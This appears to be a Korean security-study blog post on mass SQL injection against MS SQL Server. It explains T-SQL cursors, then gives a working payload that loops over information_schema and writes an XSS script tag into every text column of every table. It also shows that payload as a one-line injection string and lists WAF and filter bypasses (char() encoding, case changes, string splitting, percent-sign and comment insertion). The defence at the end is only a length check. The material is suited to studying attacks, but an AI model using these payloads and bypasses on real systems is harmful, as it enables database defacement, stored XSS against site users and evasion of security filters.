Mass SQL Injection (대량의 SQL 공격)
 
T-SQL (트랜잭션 SQL)

datepart 함수는 반환될 날짜 부분을 지정하는 매개 변수이다. dw의 의미는 요일에 해당하는 숫자를 반환

 

 

declare @dw int; --선언을 의미 변수 앞에 @를 붙인다.
set @dw = datepart(dw,getdate()); --dw변수에 datepart함수 결과를 담아라
if @dw = 7 or @dw = 1 --만약 dw7이거나 1이면
begin --괄호시작 같은 개념
select 'weekend';
end --괄호 끝 같은 개념
else
begin
select 'weekday';
end

declare @cnt int
set @cnt = 0
while @cnt < 10 --반복문시작
begin
print @cnt --select대신 print도 가능
set @cnt = @cnt + 1
end

declare @id varchar(20) --변수선언
declare @pw varchar(20) --변수선언
declare cur cursor for select user_id, user_pw from member --cursor은 동적할당과 비슷한 개념
open cur --corsor은 열어야한다.
 
fetch next from cur into @id,@pw --다음커서로 이동해서 idpw를 각각 변수에 담는다
while @@fetch_status = 0 --환경변수 성공했는지여부(에러가 나지 않는 동안)
begin
select @id, @pw
fetch next from cur into @id,@pw --다음 cur를 가지고와서 id,pw변수에 각각 담는다.
end
 
close cur --동적할당 닫아줌
deallocate cur --동적할당 해제
 
Mass SQL Injection 실습

 
declare @table varchar(1000) --커서를 통해 table 내용을 받을 변수
declare @column varchar(1000) --커서를 통해 column 내용을 받을 변수
declare cur cursor for select table_name, column_name from information_schema.columns
where data_type like '%varchar%' or data_type like '%text%'
--information_schema.columns테이블에서 data typevarchar 이거나 texttable_namecolumn_name을 뽑아와서 커서에 담는다.
 
open cur --커서오픈
fetch next from cur into @table, @column
--커서의 내용을 table변수와 column변수에 각각 담는다.
 
while @@fetch_status = 0
--반복
begin
exec('update ' + @table + ' set ' + @column + '=''<script>alert("xss");</script>''')
--뽑아온 테이블에 해당하는 컬럼의 값에 <script>alert("xss");</script>를 삽입한다.
fetch next from cur into @table,@column --커서의 다음내용을 tablecolumn변수에 받아온다.
end
 
close cur --커서 닫기
deallocate cur --커서 동적할당 해제

확인결과1
확인결과2


pt69'declare @table varchar(1000) declare @column varchar(1000) declare cur cursor for select table_name, column_name from information_schema.columns where data_type like '%varchar%' or data_type like '%text%' open cur fetch next from cur into @table, @column while @@fetch_status = 0 begin exec('update ' + @table + ' set ' + @column + '=''<script>alert("xss");</script>''') fetch next from cur into @table,@column end close cur deallocate cur--
 
공격코드를 한줄로 나열하여 위와 같이 입력해준다.

공격전에 만들어 놓은 게시판이 인젝션으로인해 바뀐 것을 확인 할 수 있다.


' 안쓰고 abc출력하기
select char(97)+char(98)+char(99)--
 
필터링 해야할 것
exec //sql문법에의해 무조건 실행이 됨
ex) exec '1+2' 이건 3이 된다. exec '@n=3' -> '@n' + char(=) +‘3' 이 된다.
exEc 우회가 가능하다.
막는 방법은 사용자 입력을 복사해서 전부 대문자로 바꾸거나 소문자로 바꾸어보면 된다.
 
split
ex)막지 않으면 exec 'sel'+'ect' -> select 이러한 조합을 만들어 낼 수 있다.
 
URL
http://IP/member/login_check.asp?id=pt69' and substring()--&pw=pttest
id=pt69 ' // 이부분을 pt69%xx 로 인잭션하여 방화벽을 통과할 수 도 있다.
sub%string // %가 이런식으로 들어가면 %가 무시되어 substring이 이어진다.
sel/**/ect -> select
     
 ASP 기준 
방어방법
<%
id = request("user_id")
if len(id) >= 10 then
%>
 
<script language=javascript>
alert("아이디 10글자 이상“);
history.back();
</script>

 

'정보보안 > Web' 카테고리의 다른 글

Upload 취약점, Webshell  (516) 2020.07.15
Directory Listing  (743) 2020.07.15
Stored Procesure,CMD shell  (735) 2020.07.15
Blind SQL Injection  (722) 2020.07.15
내장 SQL 활용  (752) 2020.07.15

+ Recent posts